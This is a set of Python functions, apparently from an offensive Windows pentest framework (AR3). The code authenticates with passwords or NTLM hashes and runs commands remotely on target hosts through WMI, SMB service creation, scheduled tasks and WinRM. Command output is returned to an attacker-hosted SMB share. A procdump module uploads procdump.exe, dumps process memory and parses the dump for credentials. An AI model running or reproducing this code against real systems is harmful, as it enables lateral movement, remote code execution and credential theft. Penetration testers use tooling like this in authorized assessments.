def main(args, config_obj, db_obj, loggers): shell = None smb_srv_obj = None try: # Init smb server if args.fileless: # Start smbserver setattr(args, 'fileless_sharename', 'TEMP-{}$'.format(gen_random_string())) smb_srv_obj = SMBServer(loggers['console'], args.fileless_sharename, verbose=args.debug) smb_srv_obj.start() # Enter CMD Loop shell = AR3Shell(args, db_obj, loggers) shell.cmdloop() # Close smbserver & exit if args.fileless: smb_srv_obj.cleanup_server() smb_srv_obj.server = None os._exit(0) except KeyboardInterrupt: # Cleanup and close if shell: shell.smbcon.close() if smb_srv_obj: smb_srv_obj.cleanup_server() return
def smb_server_setup(options, logger): setattr(options, 'fileless_sharename', '{}$'.format(gen_random_string(7))) smb_srv_obj = SMBServer(logger, options.fileless_sharename, verbose=options.debug) smb_srv_obj.start() return smb_srv_obj
def run(self, target, args, smb_con, loggers, config_obj): logger = loggers['console'] # Log Results self.exec_method = { WMIEXEC : {'Name' : 'WMIEXEC', 'Fileless' : '\033[1;31mFAILED\033[0m', 'Remote' : '\033[1;31mFAILED\033[0m' }, SMBEXEC : {'Name' : 'SMBEXEC', 'Fileless' : '\033[1;31mFAILED\033[0m', 'Remote' : '\033[1;31mFAILED\033[0m' }, TSCHEXEC: {'Name': 'ATEXEC', 'Fileless': '\033[1;31mFAILED\033[0m', 'Remote': '\033[1;31mFAILED\033[0m' }, WINRM : {'Name' : 'WINRM', 'Fileless' : '\033[1;33mN/A\033[0m', 'Remote' : '\033[1;31mFAILED\033[0m' } } # Define remote/fileless via share self.exec_type = { 'Remote' : '', 'Fileless' : gen_random_string() } # Verify Admin if not smb_con.admin: logger.warning("{} Error: This module can only be run on a system with admin permissions".format(self.name)) return # Start smbserver smb_srv_obj = SMBServer(loggers['console'], self.exec_type['Fileless'], verbose=args.debug) smb_srv_obj.start() logger.info([smb_con.host, smb_con.ip, self.name.upper(), 'Testing execution methods']) # Test execution method using threading for timeouts try: for exec_method in self.exec_method: for exec_type in self.exec_type: t = Thread(target=self.test_execution, args=(args, smb_con, target, exec_method, exec_type, logger)) t.start() t.join(args.timeout+3) except Exception as e: logger.debug("{} Error: {}".format(self.name, str(e))) # Print Results for xmethod, data in self.exec_method.items(): logger.info([smb_con.host, smb_con.ip, self.name.upper(), '\033[1;30mExecution Method:\033[0m {:<10} \033[1;30mFileless: {:<20} \033[1;30mRemote (Defualt): {}'.format(data['Name'], data['Fileless'], data['Remote'])]) # Shutdown SMBServer and Exit smb_srv_obj.cleanup_server() smb_srv_obj.server = None return
def test_execution(self, args, smb_con, target, exec_method, exec_type, logger): test_string = gen_random_string() try: executioner = exec_method(logger, target, args, smb_con, share_name=self.exec_type[exec_type]) cmd_result = executioner.execute('echo {}').format(test_string).splitlines()[0] if test_string == cmd_result.strip(): self.exec_method[exec_method][exec_type] = '\033[1;32mSUCCESS\033[0m' except: return
def doStuff(self, command): dce = self.__rpctransport.get_dce_rpc() dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) tmpName = gen_random_string(8) tmpFileName = tmpName + '.tmp' xml = self.gen_xml(command) taskCreated = False self.logger.debug('Creating task \\{}'.format(tmpName)) tsch.hSchRpcRegisterTask(dce, '\\{}'.format(tmpName), xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) taskCreated = True self.logger.debug('Running task \\{}'.format(tmpName)) tsch.hSchRpcRun(dce, '\\{}'.format(tmpName)) done = False while not done: self.logger.debug( 'Calling SchRpcGetLastRunInfo for \\{}'.format(tmpName)) resp = tsch.hSchRpcGetLastRunInfo(dce, '\\{}'.format(tmpName)) if resp['pLastRuntime']['wYear'] != 0: done = True else: sleep(2) self.logger.debug('Deleting task \\{}'.format(tmpName)) tsch.hSchRpcDelete(dce, '\\{}'.format(tmpName)) taskCreated = False if taskCreated is True: tsch.hSchRpcDelete(dce, '\\{}'.format(tmpName)) # Get output if self.noOutput: self.__outputBuffer = "Command executed with no output" elif self.fileless_output: self.get_output_fileless() else: self.get_output() dce.disconnect()
def __init__(self, logger, host, args, smb_con, share_name=''): self.outfile = gen_random_string() self.debug = args.debug self.logger = logger self.host = host self.domain = args.domain self.username = args.user self.password = args.passwd self.hash = args.hash self.lmhash = '' self.nthash = '' self.pwd = str('C:\\') self.shell = 'cmd.exe /Q /c ' self.noOutput = args.no_output self.outputBuffer = '' self.timeout = args.timeout self.smbcon = smb_con self.fileless_output = False if share_name: # Fileless output self.fileless_output = True self.ip = get_local_ip() self.share = share_name self.path = "\\" else: # Filed or Remote output self.ip = args.exec_ip self.share = args.exec_share self.path = args.exec_path if self.hash: try: self.lmhash, self.nthash = self.hash.split(':') except: self.nthash = self.hash
def __init__(self, logger, host, args, smb_con, port=445, share_name=''): self.logger = logger self.outfile = gen_random_string() self.batchFile = gen_random_string() + '.bat' self.__serviceName = gen_random_string() self.__rpctransport = None self.__scmr = None self.__conn = None self.__output = None self.__shell = '%COMSPEC% /Q /c ' # self.__mode = mode # self.__aesKey = aesKey # self.__doKerberos = doKerberos # Auth self.smbcon = smb_con self.host = host self.port = port self.username = args.user self.password = args.passwd self.domain = args.domain self.hash = args.hash self.lmhash = '' self.nthash = '' self.timeout = args.timeout self.debug = args.debug self.noOutput = args.no_output self.fileless_output = False if share_name: # Fileless output self.fileless_output = True self.ip = get_local_ip() self.share = share_name self.path = "\\" else: # Filed or Remote output self.ip = args.exec_ip self.share = args.exec_share self.path = args.exec_path if self.hash: try: self.lmhash, self.nthash = self.hash.split(':') except: self.nthash = self.hash stringbinding = 'ncacn_np:{}[\pipe\svcctl]'.format(self.host) self.logger.debug('StringBinding {}'.format(stringbinding)) self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) self.__rpctransport.set_dport(self.port) if hasattr(self.__rpctransport, 'setRemoteHost'): self.__rpctransport.setRemoteHost(self.host) if hasattr(self.__rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. self.__rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) #rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.__scmr = self.__rpctransport.get_dce_rpc() self.__scmr.connect() s = self.__rpctransport.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(self.timeout) self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle']
def smb_server_setup(options, logger): logger.debug('Starting AR3 SMB Server') setattr(options, 'fileless_sharename', '{}$'.format(gen_random_string(7))) smb_srv_obj = SMBServer(logger, options.fileless_sharename) smb_srv_obj.start() return smb_srv_obj
def run(self, target, args, smb_con, loggers, config_obj): # Setup vars self.logger = loggers['console'] self.loggers = loggers self.config_obj = config_obj self.pd_binary = os.path.join(os.path.expanduser('~'), '.ar3', 'scripts', 'procdump.exe') self.smb_con = smb_con self.cmd_args = args # Ability to change where tmp files located using cmd args self.ip = '127.0.0.1' self.share = args.exec_share self.path = args.exec_path # Remote file paths self.binary_name = gen_random_string() + ".txt" self.output_name = gen_random_string() + ".dmp" # Local file paths self.local_binary = os.path.join(os.path.expanduser('~'), '.ar3', 'scripts', 'procdump.exe') self.file_name = 'procdump_{}_{}.dmp'.format(target, get_filestamp()) self.local_output = setup_log_file(args.workspace, self.file_name, ext='') try: self.procdump() except Exception as e: self.logger.fail([smb_con.host, smb_con.ip, self.name.upper(), e]) return finally: try: self.logger.info([ self.smb_con.host, self.smb_con.ip, self.name.upper(), "Deleting remote files" ]) self.smb_con.deleteFile(self.path + self.binary_name, self.share) self.smb_con.deleteFile(self.path + self.output_name, self.share) except: pass # Check for local dmp file, & parse if os.path.exists(self.local_output): if os.path.getsize(self.local_output) != 0: try: self.logger.info([ smb_con.host, smb_con.ip, self.name.upper(), "Parsing dump file: {}".format(self.file_name) ]) self.parsedump(loggers, smb_con, self.local_output) except: self.logger.fail([ smb_con.host, smb_con.ip, self.name.upper(), "Error reading dump file: {}".format(self.file_name) ]) else: self.logger.fail([ smb_con.host, smb_con.ip, self.name.upper(), "No data found, removing empty dmp file" ]) os.remove(self.local_output) else: self.logger.fail([ smb_con.host, smb_con.ip, self.name.upper(), "Dmp file not found" ])